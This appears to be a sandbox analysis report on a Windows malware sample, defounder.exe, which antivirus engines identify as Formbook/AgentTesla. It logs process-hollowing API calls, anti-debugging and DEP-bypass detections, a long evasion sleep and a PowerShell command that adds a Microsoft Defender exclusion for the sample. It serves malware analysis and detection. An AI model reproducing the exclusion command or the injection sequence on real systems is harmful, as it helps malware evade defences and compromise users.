Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW July 4, 2023, 5:38 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW July 4, 2023, 5:38 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (8 events)

description	Used Formbook[m]	rule	Win_Trojan_Formbook_m_Zero
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Bypass DEP	rule	disable_dep

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory July 4, 2023, 5:32 p.m.	process_identifier: 2656 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000003b4	1	0	0

A process attempted to delay the analysis task. (1 event)

description

defounder.exe tried to sleep 2728442 seconds, actually delayed analysis time by 2728442 seconds

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory July 4, 2023, 5:32 p.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELgnKà Òñð@ð@.texttÑÒ ` base_address: 0x00400000 process_identifier: 2656 process_handle: 0x000003b4	1	1	0
WriteProcessMemory July 4, 2023, 5:32 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2656 process_handle: 0x000003b4	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory July 4, 2023, 5:32 p.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELgnKà Òñð@ð@.texttÑÒ ` base_address: 0x00400000 process_identifier: 2656 process_handle: 0x000003b4	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 416 called NtSetContextThread to modify thread in remote process 2656
NtSetContextThread July 4, 2023, 5:32 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4321552 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000002a4 process_identifier: 2656	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 416 resumed a thread in remote process 2656
NtResumeThread July 4, 2023, 5:32 p.m.	thread_handle: 0x000002a4 suspend_count: 1 process_identifier: 2656	1	0	0

Executed a process and injected code into it, probably while unpacking (20 events)

Time & API	Arguments	Status	Return
NtResumeThread July 4, 2023, 5:31 p.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 416	1	0
NtResumeThread July 4, 2023, 5:31 p.m.	thread_handle: 0x00000154 suspend_count: 1 process_identifier: 416	1	0
NtResumeThread July 4, 2023, 5:31 p.m.	thread_handle: 0x00000190 suspend_count: 1 process_identifier: 416	1	0
NtResumeThread July 4, 2023, 5:32 p.m.	thread_handle: 0x0000029c suspend_count: 1 process_identifier: 416	1	0
NtGetContextThread July 4, 2023, 5:32 p.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread July 4, 2023, 5:32 p.m.	thread_handle: 0x000000e0	1	0
NtResumeThread July 4, 2023, 5:32 p.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 416	1	0
CreateProcessInternalW July 4, 2023, 5:32 p.m.	thread_identifier: 2608 thread_handle: 0x000003d8 process_identifier: 2604 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\defounder.exe" filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000003e0	1	1
CreateProcessInternalW July 4, 2023, 5:32 p.m.	thread_identifier: 2660 thread_handle: 0x000002a4 process_identifier: 2656 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\defounder.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\defounder.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x000003b4	1	1
NtGetContextThread July 4, 2023, 5:32 p.m.	thread_handle: 0x000002a4	1	0
NtAllocateVirtualMemory July 4, 2023, 5:32 p.m.	process_identifier: 2656 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000003b4	1	0
WriteProcessMemory July 4, 2023, 5:32 p.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELgnKà Òñð@ð@.texttÑÒ ` base_address: 0x00400000 process_identifier: 2656 process_handle: 0x000003b4	1	1
WriteProcessMemory July 4, 2023, 5:32 p.m.	buffer: base_address: 0x00401000 process_identifier: 2656 process_handle: 0x000003b4	1	1
WriteProcessMemory July 4, 2023, 5:32 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2656 process_handle: 0x000003b4	1	1
NtSetContextThread July 4, 2023, 5:32 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4321552 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000002a4 process_identifier: 2656	1	0
NtResumeThread July 4, 2023, 5:32 p.m.	thread_handle: 0x000002a4 suspend_count: 1 process_identifier: 2656	1	0
NtResumeThread July 4, 2023, 5:38 p.m.	thread_handle: 0x000002ac suspend_count: 1 process_identifier: 2604	1	0
NtResumeThread July 4, 2023, 5:38 p.m.	thread_handle: 0x00000300 suspend_count: 1 process_identifier: 2604	1	0
NtResumeThread July 4, 2023, 5:38 p.m.	thread_handle: 0x0000044c suspend_count: 1 process_identifier: 2604	1	0
NtResumeThread July 4, 2023, 5:38 p.m.	thread_handle: 0x000004ac suspend_count: 1 process_identifier: 2604	1	0

File has been identified by 44 AntiVirus engines on VirusTotal as malicious (44 events)

Lionic	Trojan.Win32.Noon.4!c
Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.GenericKD.67949565
Malwarebytes	Trojan.MalPack
Sangfor	Suspicious.Win32.Save.a
Alibaba	Trojan:MSIL/GenKryptik.8482341d
Arcabit	Trojan.Generic.D40CD3FD
Cyren	W32/MSIL_Agent.FPI.gen!Eldorado
Symantec	Scr.Malcode!gdn34
ESET-NOD32	a variant of MSIL/GenKryptik.GKQY
Cynet	Malicious (score: 100)
APEX	Malicious
Kaspersky	HEUR:Trojan.MSIL.Taskun.gen
BitDefender	Trojan.GenericKD.67949565
Avast	Win32:PWSX-gen [Trj]
Tencent	Msil.Trojan.Taskun.Rwhl
Emsisoft	Trojan.GenericKD.67949565 (B)
F-Secure	Trojan.TR/AD.Swotter.wukax
DrWeb	Trojan.PackedNET.1995
McAfee-GW-Edition	BehavesLike.Win32.Generic.jc
Trapmine	malicious.high.ml.score
FireEye	Generic.mg.bbd078b0a1887a7e
Sophos	Mal/Generic-S
SentinelOne	Static AI - Malicious PE
Avira	TR/AD.Swotter.wukax
MAX	malware (ai score=87)
Microsoft	Trojan:MSIL/AgentTesla.CXFW!MTB
ZoneAlarm	HEUR:Trojan.MSIL.Taskun.gen
GData	Win32.Trojan-Stealer.FormBook.YP502G
Google	Detected
AhnLab-V3	Trojan/Win.PWSX-gen.C5449189
Acronis	suspicious
McAfee	Artemis!BBD078B0A188
Cylance	unsafe
Panda	Trj/Chgt.AD
TrendMicro-HouseCall	TROJ_GEN.R002H0DG323
Rising	Malware.Obfus/MSIL@AI.100 (RDM.MSIL2:SCrxjaOZYPeGONBJwFVvXQ)
Ikarus	Trojan.MSIL.Inject
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	MSIL/Kryptik.ATU!tr
BitDefenderTheta	Gen:NN.ZemsilF.36270.Pm0@a8biC4f
AVG	Win32:PWSX-gen [Trj]
DeepInstinct	MALICIOUS
CrowdStrike	win/malicious_confidence_100% (W)

defounder.exe

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